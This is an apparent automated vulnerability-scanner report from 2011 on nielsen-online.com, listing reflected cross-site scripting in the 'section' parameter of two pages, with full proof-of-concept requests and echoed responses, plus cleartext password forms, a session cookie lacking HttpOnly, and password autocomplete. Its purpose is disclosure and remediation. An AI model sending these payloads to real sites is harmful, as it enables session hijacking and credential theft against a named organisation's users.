XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, nielsen.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.nielsen-online.com/press.jsp [section parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/press.jsp

Issue detail

The value of the section request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0f4f"><script>alert(1)</script>c3bf9add9bf was submitted in the section parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /press.jsp?section=ne_press_releasesf0f4f"><script>alert(1)</script>c3bf9add9bf HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:27 GMT
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Length: 34910

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>


   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
   <title>Nielsen O
...[SNIP]...
<img src="img/en/header/ne_press_releasesf0f4f"><script>alert(1)</script>c3bf9add9bf.jpg" class="headline_pic_2" alt="Resources">
...[SNIP]...

1.2. http://www.nielsen-online.com/resources.jsp [section parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/resources.jsp

Issue detail

The value of the section request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28c63"><script>alert(1)</script>d5fd693d1d was submitted in the section parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /resources.jsp?section=training_form28c63"><script>alert(1)</script>d5fd693d1d&nav=3 HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:27 GMT
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Length: 19988

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
   <title
...[SNIP]...
<img src="img/en/header/training_form28c63"><script>alert(1)</script>d5fd693d1d.jpg" class="headline_pic_2" alt="Resources">
...[SNIP]...

2. Cleartext submission of password previous next
There are 4 instances of this issue:

/login/sl_ari.htm
/login/sl_hso.htm
/login/sl_jpbz.htm
/login/sl_mvw.htm

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

2.1. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.nielsen-online.com/login/sl_ari.htm

The form contains the following password field:

password

Request

GET /login/sl_ari.htm HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8242DF79B6CCBC10CB6A09FB3490E0FB.s01; __NNR_SECURE__=fpc-2608b164b4ec46ba800e2de0ad6b4ab9

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:48 GMT
ETag: W/"22327-1286396371000"
Last-Modified: Wed, 06 Oct 2010 20:19:31 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 22327

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
</SPAN>
<form method="post" action="" id="login" name="login">
<input class="inputForm" size="27" maxlength="150" type="text" id="username" name="username" value="Username" onFocus="if(this.value=='Username'){this.value=''};" onkeypress="return check_onkeypress(this,event)">
<input class="inputForm" size="27" maxlength="150" type="password" id="password" name="password" value="password" onFocus="if(this.value=='password'){this.value=''};" onKeyPress="return check_onkeypress(this,event)">
<select class="inputForm" name="service_selection" id="service_selection" style="width:150px; font-family: arial; font-size:11px;">
...[SNIP]...

2.2. http://www.nielsen-online.com/login/sl_hso.htm previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_hso.htm

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://ereportsacn.netratings.com/pls/webhs/hso_login_services.validate_logon

The form contains the following password field:

p_password

Request

GET /login/sl_hso.htm HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8242DF79B6CCBC10CB6A09FB3490E0FB.s01; __NNR_SECURE__=fpc-2608b164b4ec46ba800e2de0ad6b4ab9

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:52 GMT
ETag: W/"14635-1259603109000"
Last-Modified: Mon, 30 Nov 2009 17:45:09 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 14635

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
</SPAN>
<form action="http://ereportsacn.netratings.com/pls/webhs/hso_login_services.validate_logon"
method="post" id="sub_login_frm" name="sub_login_frm"
onSubmit="javascript:createCookie();">

<input class="inputForm" size="27" maxlength="150" type="text" id="p_logon" name="p_logon" value="Username" onFocus="if(this.value=='Username'){this.value=''};" onkeypress="return check_onkeypress(this,event)">
<input class="inputForm" size="27" maxlength="150" type="password" id="p_password" name="p_password" value="password" onFocus="if(this.value=='password'){this.value=''};" onKeyPress="return check_onkeypress(this,event)">
<p>
...[SNIP]...

2.3. http://www.nielsen-online.com/login/sl_jpbz.htm previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_jpbz.htm

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://nreports.netratings.com/pls/nrto_auth/sub_login_p

The form contains the following password field:

p_password

Request

GET /login/sl_jpbz.htm HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8242DF79B6CCBC10CB6A09FB3490E0FB.s01; __NNR_SECURE__=fpc-2608b164b4ec46ba800e2de0ad6b4ab9

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:45 GMT
ETag: W/"14855-1252614700000"
Last-Modified: Thu, 10 Sep 2009 20:31:40 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 14855

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
</SPAN>
<form action="http://nreports.netratings.com/pls/nrto_auth/sub_login_p"
method="post" id="sub_login_frm" name="sub_login_frm"
onSubmit="javascript:createCookie();">
<input class="inputForm" size="27" maxlength="150" type="text" id="p_logon" name="p_logon" value="Username" onFocus="if(this.value=='Username'){this.value=''};" onkeypress="return check_onkeypress(this,event)">
<input class="inputForm" size="27" maxlength="150" type="password" id="p_password" name="p_password" value="password" onFocus="if(this.value=='password'){this.value=''};" onKeyPress="return check_onkeypress(this,event)">
<p>
...[SNIP]...

2.4. http://www.nielsen-online.com/login/sl_mvw.htm previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_mvw.htm

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://mpreports.netratings.com/pls/webus/login_services.validate_logon

The form contains the following password field:

p_password

Request

GET /login/sl_mvw.htm HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8242DF79B6CCBC10CB6A09FB3490E0FB.s01; __NNR_SECURE__=fpc-2608b164b4ec46ba800e2de0ad6b4ab9

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:54 GMT
ETag: W/"14372-1280253474000"
Last-Modified: Tue, 27 Jul 2010 17:57:54 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 14372

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
</SPAN>
<form action="http://mpreports.netratings.com/pls/webus/login_services.validate_logon"
method="post" id="sub_login_frm" name="sub_login_frm"
onSubmit="javascript:createCookie();">
<input class="inputForm" size="27" maxlength="150" type="text" id="p_logon" name="p_logon" value="Username" onFocus="if(this.value=='Username'){this.value=''};" onkeypress="return check_onkeypress(this,event)">
<input class="inputForm" size="27" maxlength="150" type="password" id="p_password" name="p_password" value="password" onFocus="if(this.value=='password'){this.value=''};" onKeyPress="return check_onkeypress(this,event)">
<p>
...[SNIP]...

3. Cookie without HttpOnly flag set previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.nielsen-online.com
Path:	/login.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=AE83E6D6B879E9031BD576630675838F.s01; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /login.jsp HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __NNR_SECURE__=fpc-2608b164b4ec46ba800e2de0ad6b4ab9

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:09:19 GMT
Set-Cookie: JSESSIONID=AE83E6D6B879E9031BD576630675838F.s01; Path=/
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding,User-Agent
Content-Length: 14019

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielsen NetRatings, BuzzMetrics and Mobile Client Logins</title>
<link href="http://www.nielsen-online.co
...[SNIP]...

4. Password field with autocomplete enabled previous next
There are 10 instances of this issue:

/login/sl_adi.htm
/login/sl_ari.htm
/login/sl_ca.htm
/login/sl_hso.htm
/login/sl_jpbz.htm
/login/sl_mki.htm
/login/sl_mvw.htm
/login/sl_scs.htm
/login/sl_sur.htm
/login/sl_vc.htm

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

4.1. http://www.nielsen-online.com/login/sl_adi.htm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_adi.htm

Issue detail

The page contains a form with the following action URL:

https://secure.netratings.com/portal-app/portal/action/PortalSignIn

The form contains the following password field with autocomplete enabled:

password

Request

GET /login/sl_adi.htm HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8242DF79B6CCBC10CB6A09FB3490E0FB.s01; __NNR_SECURE__=fpc-2608b164b4ec46ba800e2de0ad6b4ab9

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:59 GMT
ETag: W/"15483-1259603104000"
Last-Modified: Mon, 30 Nov 2009 17:45:04 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 15483

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
</SPAN>
<form method="post" action="https://secure.netratings.com/portal-app/portal/action/PortalSignIn" id="login_form" name="login_form" onSubmit="javascript:createCookie();">
<input class="inputForm" size="27" maxlength="150" type="text" id="username" name="username" value="Username" onFocus="if(this.value=='Username'){this.value=''};" onkeypress="return check_onkeypress(this,event)">
<input class="inputForm" size="27" maxlength="150" type="password" id="password" name="password" value="password" onFocus="if(this.value=='password'){this.value=''};" onKeyPress="return check_onkeypress(this,event)">
<p>
...[SNIP]...

4.2. http://www.nielsen-online.com/login/sl_ari.htm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ari.htm

Issue detail

The page contains a form with the following action URL:

http://www.nielsen-online.com/login/sl_ari.htm

The form contains the following password field with autocomplete enabled:

password

Request

Response

4.3. http://www.nielsen-online.com/login/sl_ca.htm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_ca.htm

Issue detail

The page contains a form with the following action URL:

https://secure.netratings.com/portal-app/portal/action/PortalSignIn

The form contains the following password field with autocomplete enabled:

password

Request

GET /login/sl_ca.htm HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8242DF79B6CCBC10CB6A09FB3490E0FB.s01; __NNR_SECURE__=fpc-2608b164b4ec46ba800e2de0ad6b4ab9

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:57 GMT
ETag: W/"15536-1259603108000"
Last-Modified: Mon, 30 Nov 2009 17:45:08 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 15536

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
</SPAN>
<form method="post" action="https://secure.netratings.com/portal-app/portal/action/PortalSignIn"
id="login_form" name="login_form" onSubmit="javascript:createCookie();">
<input class="inputForm" size="27" maxlength="150" type="text" id="username" name="username" value="Username" onFocus="if(this.value=='Username'){this.value=''};" onkeypress="return check_onkeypress(this,event)">
<input class="inputForm" size="27" maxlength="150" type="password" id="password" name="password" value="password" onFocus="if(this.value=='password'){this.value=''};" onKeyPress="return check_onkeypress(this,event)">
<p>
...[SNIP]...

4.4. http://www.nielsen-online.com/login/sl_hso.htm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_hso.htm

Issue detail

The page contains a form with the following action URL:

http://ereportsacn.netratings.com/pls/webhs/hso_login_services.validate_logon

The form contains the following password field with autocomplete enabled:

p_password

Request

Response

4.5. http://www.nielsen-online.com/login/sl_jpbz.htm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_jpbz.htm

Issue detail

The page contains a form with the following action URL:

http://nreports.netratings.com/pls/nrto_auth/sub_login_p

The form contains the following password field with autocomplete enabled:

p_password

Request

Response

4.6. http://www.nielsen-online.com/login/sl_mki.htm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_mki.htm

Issue detail

The page contains a form with the following action URL:

https://secure.netratings.com/portal-app/portal/action/PortalSignIn

The form contains the following password field with autocomplete enabled:

password

Request

GET /login/sl_mki.htm HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8242DF79B6CCBC10CB6A09FB3490E0FB.s01; __NNR_SECURE__=fpc-2608b164b4ec46ba800e2de0ad6b4ab9

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:11:02 GMT
ETag: W/"15210-1259603111000"
Last-Modified: Mon, 30 Nov 2009 17:45:11 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 15210

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
</SPAN>
<form method="post"
action="https://secure.netratings.com/portal-app/portal/action/PortalSignIn"
id="login_form" name="login_form" onSubmit="javascript:createCookie();">
<input class="inputForm" size="27" maxlength="150" type="text" id="username" name="username" value="Username" onFocus="if(this.value=='Username'){this.value=''};" onkeypress="return check_onkeypress(this,event)">
<input class="inputForm" size="27" maxlength="150" type="password" id="password" name="password" value="password" onFocus="if(this.value=='password'){this.value=''};" onKeyPress="return check_onkeypress(this,event)">
<p>
...[SNIP]...

4.7. http://www.nielsen-online.com/login/sl_mvw.htm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_mvw.htm

Issue detail

The page contains a form with the following action URL:

http://mpreports.netratings.com/pls/webus/login_services.validate_logon

The form contains the following password field with autocomplete enabled:

p_password

Request

Response

4.8. http://www.nielsen-online.com/login/sl_scs.htm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_scs.htm

Issue detail

The page contains a form with the following action URL:

https://secure.netratings.com/portal-app/portal/action/PortalSignIn

The form contains the following password field with autocomplete enabled:

password

Request

GET /login/sl_scs.htm HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8242DF79B6CCBC10CB6A09FB3490E0FB.s01; __NNR_SECURE__=fpc-2608b164b4ec46ba800e2de0ad6b4ab9

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:56 GMT
ETag: W/"15008-1259603114000"
Last-Modified: Mon, 30 Nov 2009 17:45:14 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 15008

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
</SPAN>
<form method="post"
action="https://secure.netratings.com/portal-app/portal/action/PortalSignIn"
id="login_form" name="login_form" onSubmit="javascript:createCookie();">
<input class="inputForm" size="27" maxlength="150" type="text" id="username" name="username" value="Username" onFocus="if(this.value=='Username'){this.value=''};" onkeypress="return check_onkeypress(this,event)">
<input class="inputForm" size="27" maxlength="150" type="password" id="password" name="password" value="password" onFocus="if(this.value=='password'){this.value=''};" onKeyPress="return check_onkeypress(this,event)">
<p>
...[SNIP]...

4.9. http://www.nielsen-online.com/login/sl_sur.htm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_sur.htm

Issue detail

The page contains a form with the following action URL:

https://secure.netratings.com/survey/cgi-bin/survey_livestats.pl

The form contains the following password field with autocomplete enabled:

pword

Request

GET /login/sl_sur.htm HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8242DF79B6CCBC10CB6A09FB3490E0FB.s01; __NNR_SECURE__=fpc-2608b164b4ec46ba800e2de0ad6b4ab9

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:11:03 GMT
ETag: W/"14985-1259603116000"
Last-Modified: Mon, 30 Nov 2009 17:45:16 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 14985

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
</SPAN>
<form method="post"
action="https://secure.netratings.com/survey/cgi-bin/survey_livestats.pl"
id="login_form" name="login_form" onSubmit="javascript:createCookie();">
<input class="inputForm" size="27" maxlength="150" type="text" id="user" name="user" value="Username" onFocus="if(this.value=='Username'){this.value=''};" onkeypress="return check_onkeypress(this,event)">
<input class="inputForm" size="27" maxlength="150" type="password" id="pword" name="pword" value="password" onFocus="if(this.value=='password'){this.value=''};" onKeyPress="return check_onkeypress(this,event)">
<p>
...[SNIP]...

4.10. http://www.nielsen-online.com/login/sl_vc.htm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/login/sl_vc.htm

Issue detail

The page contains a form with the following action URL:

https://secure.netratings.com/portal-app/portal/action/PortalSignIn

The form contains the following password field with autocomplete enabled:

password

Request

GET /login/sl_vc.htm HTTP/1.1
Host: www.nielsen-online.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8242DF79B6CCBC10CB6A09FB3490E0FB.s01; __NNR_SECURE__=fpc-2608b164b4ec46ba800e2de0ad6b4ab9

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 14:10:46 GMT
ETag: W/"15665-1302017850000"
Last-Modified: Tue, 05 Apr 2011 15:37:30 GMT
Content-Type: text/html
Vary: Accept-Encoding,User-Agent
Content-Length: 15665

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Nielse
...[SNIP]...
</SPAN>
<form method="post" action="https://secure.netratings.com/portal-app/portal/action/PortalSignIn"
id="login_form" name="login_form" onSubmit="javascript:createCookie();">
<input class="inputForm" size="27" maxlength="150" type="text" id="username" name="username" value="Username" onFocus="if(this.value=='Username'){this.value=''};" onkeypress="return check_onkeypress(this,event)">
<input class="inputForm" size="27" maxlength="150" type="password" id="password" name="password" value="password" onFocus="if(this.value=='password'){this.value=''};" onKeyPress="return check_onkeypress(this,event)">
<p>
...[SNIP]...

